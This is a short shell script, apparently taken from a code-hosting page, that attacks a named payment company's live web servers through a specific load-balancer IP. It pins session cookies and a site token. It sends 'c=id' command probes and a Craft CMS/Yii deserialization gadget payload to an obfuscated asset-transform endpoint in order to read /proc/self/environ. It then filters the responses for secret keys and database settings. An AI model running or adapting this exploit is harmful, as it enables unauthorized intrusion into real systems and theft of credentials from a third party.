32 lines
1.7 KiB
Bash
32 lines
1.7 KiB
Bash
#!/bin/sh
|
|
# Stickiness test + CVE gadget environ read against origin ALB 52.51.74.51
|
|
IP=52.51.74.51
|
|
TOK='c46f3a7bc2570ff67e324c871eccb889c823fe6e4ed8c90ce9a8d6cdeaa522b41'
|
|
PIN='AWSALB=ZZcuiGDCKfSDx9qAPucmuxPHhqIa5Dd9UGhL76ehympHaUNoG3hjh9IKuJ8vCouKJPrwVYs8H2e+Dm6YH7xfdE0BAuH/Fbakk6bT6yht0R11roF9krBe7jmfUHyS; AWSALBCORS=ZZcuiGDCKfSDx9qAPucmuxPHhqIa5Dd9UGhL76ehympHaUNoG3hjh9IKuJ8vCouKJPrwVYs8H2e+Dm6YH7xfdE0BAuH/Fbakk6bT6yht0R11roF9krBe7jmfUHyS'
|
|
N=0
|
|
pc() {
|
|
N=$((N+1)); f=/tmp/p.$N
|
|
c=$(curl -sk -m 10 -o "$f" -w '%{http_code}' -H "Host: $1" -b "$PIN" --data 'c=id' "https://$IP/" 2>/dev/null)
|
|
echo "CP|$1|$2|$c|$(tr -d '\n\r' <"$f" 2>/dev/null | cut -c1-30)"
|
|
}
|
|
pn() {
|
|
N=$((N+1)); f=/tmp/p.$N
|
|
c=$(curl -sk -m 10 -o "$f" -w '%{http_code}' -H "Host: $1" --data 'c=id' "https://$IP/" 2>/dev/null)
|
|
echo "CN|$1|$2|$c|$(tr -d '\n\r' <"$f" 2>/dev/null | cut -c1-30)"
|
|
}
|
|
gd() {
|
|
N=$((N+1)); f=/tmp/gd.$N
|
|
c=$(curl -sk -m 10 -o "$f" -w '%{http_code}' -H "Host: $1" -H 'Content-Type: application/json' -H 'Accept: application/json' -H "X-Craft-Site-Token: $TOK" --data '{"assetId":96,"handle":{"width":1,"height":1,"as gadget":{"class":"yii\\rbac\\\u0050hpManager","itemFile":"\u002fproc\u002fself\u002fenviron"}}}' "https://$IP/?p=act%0bions/assets/generate-trans%0bform" 2>/dev/null)
|
|
hits=$(tr '\000' '\n' <"$f" 2>/dev/null | grep -aE 'SECURITY_KEY|APP_NAME|APP_ENV|DB_SERVER|DB_DATABASE|ECS_CONTAINER_METADATA_URI|DD_ENV' | head -6 | cut -c1-110 | tr '\n' ';')
|
|
echo "E|$1|$c|$hits|$(tr -d '\n\r' <"$f" 2>/dev/null | cut -c1-80)"
|
|
}
|
|
pc paystack.com pin1
|
|
pc paystack.com pin2
|
|
pc paystack.com pin3
|
|
pc paystack.com pin4
|
|
pn paystack.com nopin1
|
|
pn paystack.com nopin2
|
|
gd paystack.com
|
|
gd paystack.com
|
|
gd dr.paystack.com
|
|
echo DONE5
|